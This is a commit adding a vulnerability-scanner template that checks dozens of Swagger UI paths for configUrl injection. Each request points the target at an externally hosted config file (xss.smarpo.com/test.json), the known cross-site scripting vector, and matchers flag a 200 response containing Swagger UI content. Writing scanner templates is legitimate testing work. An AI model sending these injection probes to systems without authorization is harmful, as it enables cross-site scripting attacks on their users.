Create Swagger.yaml

main
ShadowByte 2024-09-02 10:21:01 +10:00 committed by GitHub
parent 7a9ce8564b
commit 8fcf96f22e
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 85 additions and 0 deletions

85
Swagger.yaml Normal file
View File

@ -0,0 +1,85 @@
id: swagger-ui-config-url-injection-Extensive
info:
name: Swagger UI Config URL Injection
author: Shadowbyte
severity: low
description: Detects if adding a configUrl parameter to Swagger UI endpoints leads to successful load (HTTP 200) and presence of Swagger UI content. Includes versioned paths.
tags: swagger-ui,xss,injection
requests:
- method: GET
path:
- '{{BaseURL}}/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger-ui?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/docs/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/idm/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/docs/api-reference?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swaggerui?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/help?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/doc?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api-reference?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger/docs/v1?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/reference?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api-docs/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/docs/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger-ui/api-docs?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/api-docs?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/apidocs?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger/static/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger-resources?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/__swagger__/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/_swagger_/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/spec?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/__swagger__/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/v2/doc?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/v1/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/v1/doc?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/_swagger_/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/classicapi/doc/?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/api/v1/openapi?configUrl=https://xss.smarpo.com/test.json'
# Versioned paths
- '{{BaseURL}}/v0.12/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.11/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.10/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.9/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.8/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.7/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.6/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.5/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.4/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.3/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.2/index.html?configUrl=https://xss.smarpo.com/test.json'
- '{{BaseURL}}/v0.1/index.html?configUrl=https://xss.smarpo.com/test.json'
redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: body
words:
- "swagger-ui" # Swagger UI specific identifier
- "swagger-initializer" # Swagger UI common script
- "api-docs" # Often present in API docs
- "swagger.json" # Common in Swagger UI
condition: or
- type: status
status:
- 200